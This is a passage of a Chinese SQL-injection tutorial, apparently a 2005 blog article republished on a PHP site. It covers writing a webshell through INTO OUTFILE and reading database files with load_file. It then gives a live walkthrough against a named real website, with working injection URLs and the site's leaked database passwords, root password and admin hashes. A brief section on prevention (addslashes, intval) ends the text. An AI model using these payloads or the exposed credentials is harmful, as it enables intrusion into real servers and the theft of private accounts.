好爽的一个webshell是吧!哈哈,我也很喜欢。
不过不知道大家有没有发现我们是在magic_quotes_gpc=On的情况下完成这项工作的,竟然在phpmyadmin里可以不用考虑引号的限制,哈哈,说明什么?说明phpmyadmin太伟大了,这也就是我们在谈magic_quotes_gpc=On绕过时所卖的那个关子啦!
6.发现没有我们还可以利用update和insert来插入我们的数据,然后来得到我们的webshell哦,还用上面的那个例子,
//reg.php
……
$query = "INSERT INTO members
VALUES('$id','$login','$pass','$email',’2')" ;
……
?>
我们在email的地方输入
假设我们注册后的id为10
那么我们可以再找到一个可以注入的地方
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20 into%20outfile'C:/apache/htdocs/site/test.php'
好了,我们又有了我们的wenshell了哦。
7.mysql的跨库查询
大家是不是一直听说mysql不能跨库查询啊,哈哈,今天我将要教大家一个好方法,通过这个方法来实现变相的跨库查询,方法就是通过load_file来直接读出mysql中data文件夹下的文件内容,从而实现变态跨库查询。
举个例子啦
在这之前我们先讲一下mysql的data文件夹下的结构
Data文件夹下有按数据库名生成的文件夹,文件夹下按照表名生成三个后缀为frm,myd,myi的三个文件,例如
Mysql中有alpha数据库,在alpha库中有alphaauthor和alphadb两个表,
Alpha文件夹内容如下图33

其中alphadb.frm放着lphadb表中的数据,alphadb.frm放着表的结构,alphadb.myi中放的内容随mysql的版本不通会有所不同,具体可以自己用记事本打开来判断。
实验开始
假设我们知道有另外的一个数据库yminfo210存在,且存在表user,user中放这admin的信息。
我们
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('yminfo210/user.myd'),4,5,6,7,8,9,10,11
说明一下,load_file默认所在的目录是mysql下的data目录,所以我们用
load_file('yminfo210/user.myd'),当然load_file('.info210/user.myd')也是一样的,注意的是into outfile的默认路径是在所在的数据库文件夹下。

结果如图34

我们看读出来的内容
????   admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question admin answer  http://www.yoursite.com  (????KA????  127.0.0.1  d|???  aaa 3dbe00a167653a1aaee01d93e77e730e sdf@sd.com sdfasdfsdfa asdfadfasd   ?E?AM?A 127.0.0.1 222  222222223423
虽然乱码一堆,但是我们还是可以看出用户名是admin,密码是698d51a19d8a121ce581499d7b701668,后面其它的是另外的信息。
通过这种方法我们就实现了曲线跨库,下面的例子中也会提到哦!

说了这么多下面我们来具体的使用一次,这次测试的对象是国内一著名安全类站点――黑白网络
听人家说黑白有漏洞?我们一起去看看吧。
http://www.heibai.net/down/show.php?id=5403%20and%201=1
正常显示。
如图35

http://www.heibai.net/down/show.php?id=5403%20and%201=2
显示不正常。
如图36

好,我们继续
http://www.heibai.net/down/show.php?id=5403%20and%201=1 union select 1
显示结果如下
如图37

注意看图中没有显示程序名,而且还附带了
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\show.php on line 45

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\global.php on line 578

晕了,网站路径出来了,那可就死定了哦!
我们继续,直到我们猜到
http://www.heibai.net/down/show.php?id=5403%20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
的时候正常显示了。
如图38

好我们转换语句成为
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
显示如图39

看看简介处显示为12,我们可以猜测此处应该为字符型!
Ok,我们下面看看文件内容先
D:/web/heibai/down/show.php转化成ascii后为
char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)
我们
view-source:http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)),

13,14,15,16,17,18,19
view-source:是指察看源代码,至于为什么用,我们后面将讲到
显示出它的源代码
如图40

因为在show.php中有一句

如果我们直接在浏览器里提交会跳转到list.php
我们发现这句require ("./include/config.inc.php");
好东西,应该放这配置文件,ok继续
d:/web/heibai/down/include/config.inc.php
转化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,

99,111,110,102,105,103,46,105,110,99,46,112,104,112)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,

99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19
显示结果如图41

里面内容主要有
…………………..
ymDown (夜猫下载系统) 是一个应用于网站提供下载服务的的程序
// ------------------------- -------- ------------------------- //
//                           常规设置                           //
// ------------------------- -------- ------------------------- //


// 数据库信息
$dbhost = "localhost"; // 数据库主机名
$dbuser = "download";// 数据库用户名
$dbpasswd = "kunstar988"; // 数据库密码
$dbname = "download"; // 数据库名

// Cookie 名称
$cookie_name = "heibai";
// 版本号
$version = "1.0.1";

// 数据表名
$down_table = ymdown;
$down_user_table = ymdown_user;
$down_sort1_table = ymdown_sort1;
$down_sort2_table = ymdown_sort2;
晕原来用的是夜猫的下载系统,而且我们知道了
$dbuser = "download";// 数据库用户名
$dbpasswd = "kunstar988"; // 数据库密码
说不定呆会有用哦。
用的表名是默认的表名,我们知道夜猫的管理员密码放在ymdown_user中
我们继续http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,username,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from ymdown_user
结果如图42

根据提示我们知道文件大小处的是username,应用平台处的是password(对照图36)
即username=dload,password=6558428,夜猫的后台默认在admin目录下,我试验了很久都没有找到,晕之。
想直接连接mysql,发现telnet端口并没有开放。我们去看看别的吧!
http://www.heibai.net/vip/article/login.php
看起来像是会员的登陆哦,我们看看先
d:/web/heibai/vip/article/login.php
转化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,

103,105,110,46,112,104,112)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,

103,105,110,46,112,104,112)),13,14,15,16,17,18,19
结果如图43:

其中
require ("./include/global.php");
require ("./include/config.inc.php");
require ("./mainfunction.php");
require ("./function.php");
当然了,我们去看config.inc.php吧
d:/web/heibai/vip/article/include/config.inc.php
转成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,

110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)
输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,

110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19
结果如图44

显示了很多好东西哦

$dbhost = "localhost"; // 数据库主机名
$dbuser = "root"; // 数据库用户名
$dbpass = "234ytr8ut"; // 数据库密码
$dbname = "article"; // 数据库名
$ymcms_user_table = "user";
$ymcms_usergroup_table = "usergroup";
$ymcms_userrace_table = "userrace";
表还是默认的表,而且出来了root的密码
要是能连上它的mysql该多好啊,那样我们就可以into outfile了
痛苦的找了找phpmyadmin,没有找见,或许根本就没有用。
读c:/winnt/php.ini发现
; Magic quotes
;
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = On
55555555,痛苦中,我们看看能不能搞几个会员账号
猜测会员账号放在user表中,我们直接读data下article文件夹里的user.myd文件
Article/user.myd转换成
char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)),13,14,15,16,17,18,19
结果如图45:

晕了,竟然没有返回。我们来读Article/user.frm
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,102,114,109)),13,14,15,16,17,18,19
结果如图46

晕了,表结构都在,而且读Article/user.myi时也成功,可是为什么Article/user.myd读不出来呢?要是magic_quotes_gpc=Off我们还可以into outfile来看看,可是……
郁闷中,测试就这样结束吧,下面的工作还是留给你们来完成吧!
文中所述问题已经通知星坤了!
四:php+mysql注入的防范方法。
在上一期的专题里已经讲了很多的防范方法,这里我就主要讲一下php+mysql注射攻击的防范方法。
大家看到,在magic_quotes_gpc=On的时候,很多的注射攻击已经没有作用了。
我们可以利用这个来加固我们的程序。Addslashes()函数等同于magic_quotes_gpc=On,而且与magic_quotes_gpc=On也不冲突,我们可以这样过滤
$username = addslashes($username);
$query="SELECT * FROM users WHERE userid='$username'");
对于id型我们可以利用intval()函数,intval()函数可以将变量转换成整数类型,这样就可以了。
我们可以这样
$id = intval($id);
$query="SELECT * FROM alphadb WHERE articleid='$id'");
如果是字符型的呢?
我们可以先用addslashes()过滤一下,然后再过滤”%”和”_”.
例如:
$search = addslashes($search);
$search = str_replace("_","\_",$search);
$search = str_replace("%","\%",$search);
记得,可千万别在magic_quotes_gpc=On的情况下替换\为\\,如下:
$password=str_replace("\\","\\\\",$password);
我记得在darkness的文章《对某PHP站点的一次渗透》中提到过这个问题(在光盘中有收录)。
还有的就是登陆的地方,如果是只用一个管理员管理的话,我们可以直接对username和passwd用md5加密,这样就不用害怕注入技术的发展了。
Username=md5($HTTP_POST_VARS["username"]);
Passwd=md5($HTTP_POST_VARS["passwd"]);
我的后台登陆就是这样子的哦。
后记:
本文就讲这么多了,注入是一门灵活的技术,有很多技术还在继续发展中,有任何问题和意见可以到炎黄兵团(www.cnwill.com/www.securityfaq.org)来找我,也欢迎对文中内容批评指正。为便于大家学习本文所用到的文章系统也将随光盘附送。
后后记:
此文还是一年前所作,时至今日,很多的新的技术都已经涌现出来,具体的内容请参阅安全天使www.4ngel.net网站,关于本文的任何问题您可以到www.securityfaq.org提出。
                                                    -------Alpha-------
                                                            20050309



Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=740486


Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Vorheriger Artikel:(web php developer) english resume 2006Nächster Artikel:PHP入门速成